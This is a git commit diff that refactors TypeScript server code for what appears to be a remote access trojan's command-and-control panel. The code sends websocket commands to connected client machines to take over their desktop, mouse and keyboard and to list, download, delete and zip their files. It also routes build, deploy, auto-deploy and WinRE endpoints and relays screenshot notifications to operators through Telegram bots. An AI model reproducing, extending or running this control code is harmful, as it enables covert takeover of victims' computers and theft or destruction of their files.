fix my shit code
This commit is contained in:
@@ -42,10 +42,22 @@ export function handleClientsRequest(req: Request): Response {
|
|||||||
return Response.json({ ...result, items }, { headers: CORS_HEADERS });
|
return Response.json({ ...result, items }, { headers: CORS_HEADERS });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const SIMPLE_COMMANDS = new Set([
|
||||||
|
"desktop_start", "desktop_stop", "disconnect", "reconnect",
|
||||||
|
]);
|
||||||
|
const PAYLOAD_COMMANDS: Record<string, Record<string, unknown>> = {
|
||||||
|
desktop_select_display: { display: 0 },
|
||||||
|
desktop_enable_mouse: { enabled: true },
|
||||||
|
desktop_enable_keyboard:{ enabled: true },
|
||||||
|
};
|
||||||
|
const FILE_COMMANDS = new Set([
|
||||||
|
"file_list", "file_download", "file_delete", "file_mkdir", "file_zip",
|
||||||
|
]);
|
||||||
|
|
||||||
|
const OK = () => Response.json({ ok: true });
|
||||||
|
|
||||||
export function handleCommand(target: ClientInfo, action: string, req: Request) {
|
export function handleCommand(target: ClientInfo, action: string, req: Request) {
|
||||||
console.log(`[command] action=${action} clientId=${target.id}`);
|
console.log(`[command] action=${action} clientId=${target.id}`);
|
||||||
|
|
||||||
|
|
||||||
metrics.recordCommand(action);
|
metrics.recordCommand(action);
|
||||||
|
|
||||||
if (action === "ping") {
|
if (action === "ping") {
|
||||||
@@ -53,67 +65,25 @@ export function handleCommand(target: ClientInfo, action: string, req: Request)
|
|||||||
target.lastPingSent = Date.now();
|
target.lastPingSent = Date.now();
|
||||||
target.lastPingNonce = nonce;
|
target.lastPingNonce = nonce;
|
||||||
target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
|
target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
|
||||||
return Response.json({ ok: true });
|
return OK();
|
||||||
}
|
}
|
||||||
if (action === "desktop_start") {
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start" as any, id: uuidv4() }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "desktop_stop") {
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop" as any, id: uuidv4() }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "desktop_select_display") {
|
|
||||||
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display" as any, id: uuidv4(), payload: { display: 0 } }));
|
if (SIMPLE_COMMANDS.has(action)) {
|
||||||
return Response.json({ ok: true });
|
target.ws.send(encodeMessage({ type: "command", commandType: action as any, id: uuidv4() }));
|
||||||
|
return OK();
|
||||||
}
|
}
|
||||||
if (action === "desktop_enable_mouse") {
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse" as any, id: uuidv4(), payload: { enabled: true } }));
|
if (action in PAYLOAD_COMMANDS) {
|
||||||
return Response.json({ ok: true });
|
target.ws.send(encodeMessage({ type: "command", commandType: action as any, id: uuidv4(), payload: PAYLOAD_COMMANDS[action] }));
|
||||||
|
return OK();
|
||||||
}
|
}
|
||||||
if (action === "desktop_enable_keyboard") {
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard" as any, id: uuidv4(), payload: { enabled: true } }));
|
if (FILE_COMMANDS.has(action)) {
|
||||||
return Response.json({ ok: true });
|
const path = new URL(req.url).searchParams.get("path") || "";
|
||||||
}
|
target.ws.send(encodeMessage({ type: "command", commandType: action as any, id: uuidv4(), payload: { path } }));
|
||||||
if (action === "disconnect") {
|
return OK();
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "reconnect") {
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "file_list") {
|
|
||||||
const url = new URL(req.url);
|
|
||||||
const path = url.searchParams.get("path") || "";
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: uuidv4(), payload: { path } }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "file_download") {
|
|
||||||
const url = new URL(req.url);
|
|
||||||
const path = url.searchParams.get("path") || "";
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: uuidv4(), payload: { path } }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "file_delete") {
|
|
||||||
const url = new URL(req.url);
|
|
||||||
const path = url.searchParams.get("path") || "";
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: uuidv4(), payload: { path } }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "file_mkdir") {
|
|
||||||
const url = new URL(req.url);
|
|
||||||
const path = url.searchParams.get("path") || "";
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: uuidv4(), payload: { path } }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
|
||||||
if (action === "file_zip") {
|
|
||||||
const url = new URL(req.url);
|
|
||||||
const path = url.searchParams.get("path") || "";
|
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: uuidv4(), payload: { path } }));
|
|
||||||
return Response.json({ ok: true });
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return new Response("Bad request", { status: 400 });
|
return new Response("Bad request", { status: 400 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -302,24 +302,25 @@ const storeNotificationScreenshotForPending = (
|
|||||||
|
|
||||||
pruneOldNotifications();
|
pruneOldNotifications();
|
||||||
setInterval(pruneOldNotifications, 60 * 60 * 1000);
|
setInterval(pruneOldNotifications, 60 * 60 * 1000);
|
||||||
|
|
||||||
|
const toDeliveryTarget = (u: any): UserDeliveryTarget => ({
|
||||||
|
userId: u.id,
|
||||||
|
username: u.username,
|
||||||
|
webhookEnabled: u.webhook_enabled === 1,
|
||||||
|
webhookUrl: u.webhook_url || "",
|
||||||
|
webhookTemplate: u.webhook_template,
|
||||||
|
telegramEnabled: u.telegram_enabled === 1,
|
||||||
|
telegramBotToken: u.telegram_bot_token || "",
|
||||||
|
telegramChatId: u.telegram_chat_id || "",
|
||||||
|
telegramTemplate: u.telegram_template,
|
||||||
|
clientEventWebhook: u.client_event_webhook === 1,
|
||||||
|
clientEventTelegram: u.client_event_telegram === 1,
|
||||||
|
clientEventPush: u.client_event_push === 1,
|
||||||
|
});
|
||||||
|
|
||||||
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
|
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
|
||||||
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
|
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] =>
|
||||||
return getUsersForNotificationDeliveryByClient(clientId)
|
getUsersForNotificationDeliveryByClient(clientId).map(toDeliveryTarget);
|
||||||
.map((u) => ({
|
|
||||||
userId: u.id,
|
|
||||||
username: u.username,
|
|
||||||
webhookEnabled: u.webhook_enabled === 1,
|
|
||||||
webhookUrl: u.webhook_url || "",
|
|
||||||
webhookTemplate: u.webhook_template,
|
|
||||||
telegramEnabled: u.telegram_enabled === 1,
|
|
||||||
telegramBotToken: u.telegram_bot_token || "",
|
|
||||||
telegramChatId: u.telegram_chat_id || "",
|
|
||||||
telegramTemplate: u.telegram_template,
|
|
||||||
clientEventWebhook: u.client_event_webhook === 1,
|
|
||||||
clientEventTelegram: u.client_event_telegram === 1,
|
|
||||||
clientEventPush: u.client_event_push === 1,
|
|
||||||
}));
|
|
||||||
};
|
|
||||||
return deliverNotificationWithScreenshot(record, getUserDeliveryTargets);
|
return deliverNotificationWithScreenshot(record, getUserDeliveryTargets);
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -338,26 +339,12 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
|||||||
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
|
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
|
||||||
pluginRuntime.dispatchClientEvent(clientId, pluginId, event, payload),
|
pluginRuntime.dispatchClientEvent(clientId, pluginId, event, payload),
|
||||||
getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => {
|
getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => {
|
||||||
const mapRow = (u: any): UserDeliveryTarget => ({
|
|
||||||
userId: u.id,
|
|
||||||
username: u.username,
|
|
||||||
webhookEnabled: u.webhook_enabled === 1,
|
|
||||||
webhookUrl: u.webhook_url || "",
|
|
||||||
webhookTemplate: u.webhook_template,
|
|
||||||
telegramEnabled: u.telegram_enabled === 1,
|
|
||||||
telegramBotToken: u.telegram_bot_token || "",
|
|
||||||
telegramChatId: u.telegram_chat_id || "",
|
|
||||||
telegramTemplate: u.telegram_template,
|
|
||||||
clientEventWebhook: u.client_event_webhook === 1,
|
|
||||||
clientEventTelegram: u.client_event_telegram === 1,
|
|
||||||
clientEventPush: u.client_event_push === 1,
|
|
||||||
});
|
|
||||||
if (event === "client_purgatory") {
|
if (event === "client_purgatory") {
|
||||||
return getUsersForNotificationDelivery()
|
return getUsersForNotificationDelivery()
|
||||||
.filter((u) => u.role === "admin" || u.role === "operator")
|
.filter((u) => u.role === "admin" || u.role === "operator")
|
||||||
.map(mapRow);
|
.map(toDeliveryTarget);
|
||||||
}
|
}
|
||||||
return getUsersForNotificationDeliveryByClient(clientId).map(mapRow);
|
return getUsersForNotificationDeliveryByClient(clientId).map(toDeliveryTarget);
|
||||||
},
|
},
|
||||||
savePluginState,
|
savePluginState,
|
||||||
});
|
});
|
||||||
@@ -709,28 +696,29 @@ async function startServer() {
|
|||||||
fetch: createHttpFetchHandler({
|
fetch: createHttpFetchHandler({
|
||||||
metrics,
|
metrics,
|
||||||
CORS_HEADERS,
|
CORS_HEADERS,
|
||||||
handleRegistrationRoutes,
|
routes: [
|
||||||
handleAuthRoutes,
|
(req, url) => handleRegistrationRoutes(req, url, routeDeps.registration),
|
||||||
handleNotificationsConfigRoutes,
|
(req, url, srv) => handleAuthRoutes(req, url, srv as any),
|
||||||
handleAutoScriptsRoutes,
|
(req, url, srv) => handleNotificationsConfigRoutes(req, url, srv as any, routeDeps.notificationsConfig),
|
||||||
handleSavedScriptsRoutes,
|
(req, url) => handleAutoScriptsRoutes(req, url),
|
||||||
handleAutoDeployRoutes,
|
(req, url) => handleSavedScriptsRoutes(req, url),
|
||||||
handleEnrollmentRoutes,
|
(req, url) => handleAutoDeployRoutes(req, url, routeDeps.autoDeploy),
|
||||||
handleChatRoutes,
|
(req, url) => handleEnrollmentRoutes(req, url),
|
||||||
handleSolRoutes,
|
(req, url) => handleChatRoutes(req, url),
|
||||||
handleUsersRoutes,
|
(req, url) => handleSolRoutes(req, url),
|
||||||
handleBuildRoutes,
|
(req, url, srv) => handleUsersRoutes(req, url, srv as any),
|
||||||
handleDeployRoutes,
|
(req, url, srv) => handleBuildRoutes(req, url, srv as any, routeDeps.build),
|
||||||
handleWinRERoutes,
|
(req, url, srv) => handleDeployRoutes(req, url, srv as any, routeDeps.deploy),
|
||||||
handleFileDownloadRoutes,
|
(req, url, srv) => handleWinRERoutes(req, url, srv as any, routeDeps.winre),
|
||||||
handlePluginRoutes,
|
(req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
|
||||||
handleFileShareRoutes,
|
(req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
|
||||||
handleMiscRoutes,
|
(req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
|
||||||
handleAssetsRoutes,
|
(req, url) => handleMiscRoutes(req, url, routeDeps.misc),
|
||||||
handlePageRoutes,
|
(req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
|
||||||
handleClientRoutes,
|
(req, url) => handlePageRoutes(req, url, routeDeps.page),
|
||||||
handleWsUpgradeRoutes,
|
(req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client),
|
||||||
routeDeps,
|
(req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade),
|
||||||
|
],
|
||||||
}),
|
}),
|
||||||
websocket: createWebSocketRuntime({
|
websocket: createWebSocketRuntime({
|
||||||
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
|
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
|
||||||
@@ -804,19 +792,14 @@ async function startServer() {
|
|||||||
startServer();
|
startServer();
|
||||||
|
|
||||||
|
|
||||||
process.on("SIGINT", () => {
|
function gracefulShutdown() {
|
||||||
logger.info("\n[server] Shutting down gracefully...");
|
logger.info("\n[server] Shutting down gracefully...");
|
||||||
void pluginRuntime.shutdownAll();
|
void pluginRuntime.shutdownAll();
|
||||||
flushAuditLogsSync();
|
flushAuditLogsSync();
|
||||||
process.exit(0);
|
process.exit(0);
|
||||||
});
|
}
|
||||||
|
process.on("SIGINT", gracefulShutdown);
|
||||||
process.on("SIGTERM", () => {
|
process.on("SIGTERM", gracefulShutdown);
|
||||||
logger.info("\n[server] Shutting down gracefully...");
|
|
||||||
void pluginRuntime.shutdownAll();
|
|
||||||
flushAuditLogsSync();
|
|
||||||
process.exit(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
process.on("uncaughtException", (err) => {
|
process.on("uncaughtException", (err) => {
|
||||||
logger.error("[server] uncaught exception:", err);
|
logger.error("[server] uncaught exception:", err);
|
||||||
|
|||||||
@@ -1,188 +1,20 @@
|
|||||||
type MaybeResponse = Response | null;
|
export type RouteHandler = (req: Request, url: URL, server: unknown) => Promise<Response | null>;
|
||||||
|
|
||||||
type RouteHandler = (req: Request, url: URL) => Promise<MaybeResponse>;
|
export function createHttpFetchHandler(deps: {
|
||||||
type RouteHandlerWithServer<TServer> = (
|
|
||||||
req: Request,
|
|
||||||
url: URL,
|
|
||||||
server: TServer,
|
|
||||||
) => Promise<MaybeResponse>;
|
|
||||||
type RouteHandlerWithServerDeps<TServer, TDeps> = (
|
|
||||||
req: Request,
|
|
||||||
url: URL,
|
|
||||||
server: TServer,
|
|
||||||
deps: TDeps,
|
|
||||||
) => Promise<MaybeResponse>;
|
|
||||||
type RouteHandlerWithDeps<TDeps> = (
|
|
||||||
req: Request,
|
|
||||||
url: URL,
|
|
||||||
deps: TDeps,
|
|
||||||
) => Promise<MaybeResponse>;
|
|
||||||
|
|
||||||
type HttpDispatchDeps<
|
|
||||||
TServer,
|
|
||||||
TNotificationsConfig,
|
|
||||||
TBuild,
|
|
||||||
TDeploy,
|
|
||||||
TAutoDeploy,
|
|
||||||
TWinRE,
|
|
||||||
TFileDownload,
|
|
||||||
TPlugin,
|
|
||||||
TFileShare,
|
|
||||||
TMisc,
|
|
||||||
TAssets,
|
|
||||||
TPage,
|
|
||||||
TClient,
|
|
||||||
TWsUpgrade,
|
|
||||||
TRegistration
|
|
||||||
> = {
|
|
||||||
metrics: { withHttpMetrics: (fn: () => Promise<Response>) => Promise<Response> };
|
metrics: { withHttpMetrics: (fn: () => Promise<Response>) => Promise<Response> };
|
||||||
CORS_HEADERS: Record<string, string>;
|
CORS_HEADERS: Record<string, string>;
|
||||||
handleRegistrationRoutes: RouteHandlerWithDeps<TRegistration>;
|
routes: RouteHandler[];
|
||||||
handleAuthRoutes: RouteHandlerWithServer<TServer>;
|
}) {
|
||||||
handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
|
|
||||||
handleAutoScriptsRoutes: RouteHandler;
|
|
||||||
handleSavedScriptsRoutes: RouteHandler;
|
|
||||||
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
|
|
||||||
handleEnrollmentRoutes: RouteHandler;
|
|
||||||
handleChatRoutes: RouteHandler;
|
|
||||||
handleSolRoutes: RouteHandler;
|
|
||||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
|
||||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
|
||||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
|
||||||
handleWinRERoutes: RouteHandlerWithServerDeps<TServer, TWinRE>;
|
|
||||||
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
|
|
||||||
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
|
|
||||||
handleFileShareRoutes: RouteHandlerWithDeps<TFileShare>;
|
|
||||||
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
|
|
||||||
handleAssetsRoutes: RouteHandlerWithDeps<TAssets>;
|
|
||||||
handlePageRoutes: RouteHandlerWithDeps<TPage>;
|
|
||||||
handleClientRoutes: RouteHandlerWithServerDeps<TServer, TClient>;
|
|
||||||
handleWsUpgradeRoutes: RouteHandlerWithServerDeps<TServer, TWsUpgrade>;
|
|
||||||
routeDeps: {
|
|
||||||
notificationsConfig: TNotificationsConfig;
|
|
||||||
build: TBuild;
|
|
||||||
deploy: TDeploy;
|
|
||||||
autoDeploy: TAutoDeploy;
|
|
||||||
winre: TWinRE;
|
|
||||||
fileDownload: TFileDownload;
|
|
||||||
plugin: TPlugin;
|
|
||||||
fileShare: TFileShare;
|
|
||||||
misc: TMisc;
|
|
||||||
assets: TAssets;
|
|
||||||
page: TPage;
|
|
||||||
client: TClient;
|
|
||||||
wsUpgrade: TWsUpgrade;
|
|
||||||
registration: TRegistration;
|
|
||||||
};
|
|
||||||
};
|
|
||||||
|
|
||||||
export function createHttpFetchHandler<
|
|
||||||
TServer,
|
|
||||||
TNotificationsConfig,
|
|
||||||
TBuild,
|
|
||||||
TDeploy,
|
|
||||||
TAutoDeploy,
|
|
||||||
TWinRE,
|
|
||||||
TFileDownload,
|
|
||||||
TPlugin,
|
|
||||||
TFileShare,
|
|
||||||
TMisc,
|
|
||||||
TAssets,
|
|
||||||
TPage,
|
|
||||||
TClient,
|
|
||||||
TWsUpgrade,
|
|
||||||
TRegistration
|
|
||||||
>(
|
|
||||||
deps: HttpDispatchDeps<
|
|
||||||
TServer,
|
|
||||||
TNotificationsConfig,
|
|
||||||
TBuild,
|
|
||||||
TDeploy,
|
|
||||||
TAutoDeploy,
|
|
||||||
TWinRE,
|
|
||||||
TFileDownload,
|
|
||||||
TPlugin,
|
|
||||||
TFileShare,
|
|
||||||
TMisc,
|
|
||||||
TAssets,
|
|
||||||
TPage,
|
|
||||||
TClient,
|
|
||||||
TWsUpgrade,
|
|
||||||
TRegistration
|
|
||||||
>
|
|
||||||
) {
|
|
||||||
return async function fetchHandler(req: Request, server: unknown): Promise<Response> {
|
return async function fetchHandler(req: Request, server: unknown): Promise<Response> {
|
||||||
return deps.metrics.withHttpMetrics(async () => {
|
return deps.metrics.withHttpMetrics(async () => {
|
||||||
const routeServer = server as TServer;
|
|
||||||
const url = new URL(req.url);
|
|
||||||
|
|
||||||
if (req.method === "OPTIONS") {
|
if (req.method === "OPTIONS") {
|
||||||
return new Response("", { headers: deps.CORS_HEADERS });
|
return new Response("", { headers: deps.CORS_HEADERS });
|
||||||
}
|
}
|
||||||
|
const url = new URL(req.url);
|
||||||
const registrationResponse = await deps.handleRegistrationRoutes(req, url, deps.routeDeps.registration);
|
for (const route of deps.routes) {
|
||||||
if (registrationResponse) return registrationResponse;
|
const response = await route(req, url, server);
|
||||||
|
if (response) return response;
|
||||||
const authRouteResponse = await deps.handleAuthRoutes(req, url, routeServer);
|
}
|
||||||
if (authRouteResponse) return authRouteResponse;
|
|
||||||
|
|
||||||
const notificationsConfigResponse = await deps.handleNotificationsConfigRoutes(req, url, routeServer, deps.routeDeps.notificationsConfig);
|
|
||||||
if (notificationsConfigResponse) return notificationsConfigResponse;
|
|
||||||
|
|
||||||
const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
|
|
||||||
if (autoScriptsResponse) return autoScriptsResponse;
|
|
||||||
|
|
||||||
const savedScriptsResponse = await deps.handleSavedScriptsRoutes(req, url);
|
|
||||||
if (savedScriptsResponse) return savedScriptsResponse;
|
|
||||||
|
|
||||||
const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy);
|
|
||||||
if (autoDeployResponse) return autoDeployResponse;
|
|
||||||
|
|
||||||
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
|
|
||||||
if (enrollmentResponse) return enrollmentResponse;
|
|
||||||
|
|
||||||
const chatResponse = await deps.handleChatRoutes(req, url);
|
|
||||||
if (chatResponse) return chatResponse;
|
|
||||||
|
|
||||||
const solResponse = await deps.handleSolRoutes(req, url);
|
|
||||||
if (solResponse) return solResponse;
|
|
||||||
|
|
||||||
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
|
|
||||||
if (usersResponse) return usersResponse;
|
|
||||||
|
|
||||||
const buildResponse = await deps.handleBuildRoutes(req, url, routeServer, deps.routeDeps.build);
|
|
||||||
if (buildResponse) return buildResponse;
|
|
||||||
|
|
||||||
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
|
|
||||||
if (deployResponse) return deployResponse;
|
|
||||||
|
|
||||||
const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
|
|
||||||
if (winreResponse) return winreResponse;
|
|
||||||
|
|
||||||
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
|
|
||||||
if (fileDownloadResponse) return fileDownloadResponse;
|
|
||||||
|
|
||||||
const pluginResponse = await deps.handlePluginRoutes(req, url, deps.routeDeps.plugin);
|
|
||||||
if (pluginResponse) return pluginResponse;
|
|
||||||
|
|
||||||
const fileShareResponse = await deps.handleFileShareRoutes(req, url, deps.routeDeps.fileShare);
|
|
||||||
if (fileShareResponse) return fileShareResponse;
|
|
||||||
|
|
||||||
const miscResponse = await deps.handleMiscRoutes(req, url, deps.routeDeps.misc);
|
|
||||||
if (miscResponse) return miscResponse;
|
|
||||||
|
|
||||||
const assetsResponse = await deps.handleAssetsRoutes(req, url, deps.routeDeps.assets);
|
|
||||||
if (assetsResponse) return assetsResponse;
|
|
||||||
|
|
||||||
const pageResponse = await deps.handlePageRoutes(req, url, deps.routeDeps.page);
|
|
||||||
if (pageResponse) return pageResponse;
|
|
||||||
|
|
||||||
const clientRouteResponse = await deps.handleClientRoutes(req, url, routeServer, deps.routeDeps.client);
|
|
||||||
if (clientRouteResponse) return clientRouteResponse;
|
|
||||||
|
|
||||||
const wsUpgradeResponse = await deps.handleWsUpgradeRoutes(req, url, routeServer, deps.routeDeps.wsUpgrade);
|
|
||||||
if (wsUpgradeResponse) return wsUpgradeResponse;
|
|
||||||
|
|
||||||
return new Response("Not found", { status: 404 });
|
return new Response("Not found", { status: 404 });
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -15,14 +15,20 @@ export function securePluginHeaders() {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
export function mimeType(path: string) {
|
const MIME_TYPES: Record<string, string> = {
|
||||||
if (path.endsWith(".html")) return "text/html; charset=utf-8";
|
".html": "text/html; charset=utf-8",
|
||||||
if (path.endsWith(".css")) return "text/css; charset=utf-8";
|
".css": "text/css; charset=utf-8",
|
||||||
if (path.endsWith(".js")) return "text/javascript; charset=utf-8";
|
".js": "text/javascript; charset=utf-8",
|
||||||
if (path.endsWith(".json")) return "application/json";
|
".json": "application/json",
|
||||||
if (path.endsWith(".png")) return "image/png";
|
".png": "image/png",
|
||||||
if (path.endsWith(".jpg") || path.endsWith(".jpeg")) return "image/jpeg";
|
".jpg": "image/jpeg",
|
||||||
if (path.endsWith(".webp")) return "image/webp";
|
".jpeg": "image/jpeg",
|
||||||
if (path.endsWith(".gif")) return "image/gif";
|
".webp": "image/webp",
|
||||||
|
".gif": "image/gif",
|
||||||
|
};
|
||||||
|
|
||||||
|
export function mimeType(filePath: string) {
|
||||||
|
const dot = filePath.lastIndexOf(".");
|
||||||
|
if (dot !== -1) return MIME_TYPES[filePath.slice(dot).toLowerCase()] ?? "application/octet-stream";
|
||||||
return "application/octet-stream";
|
return "application/octet-stream";
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user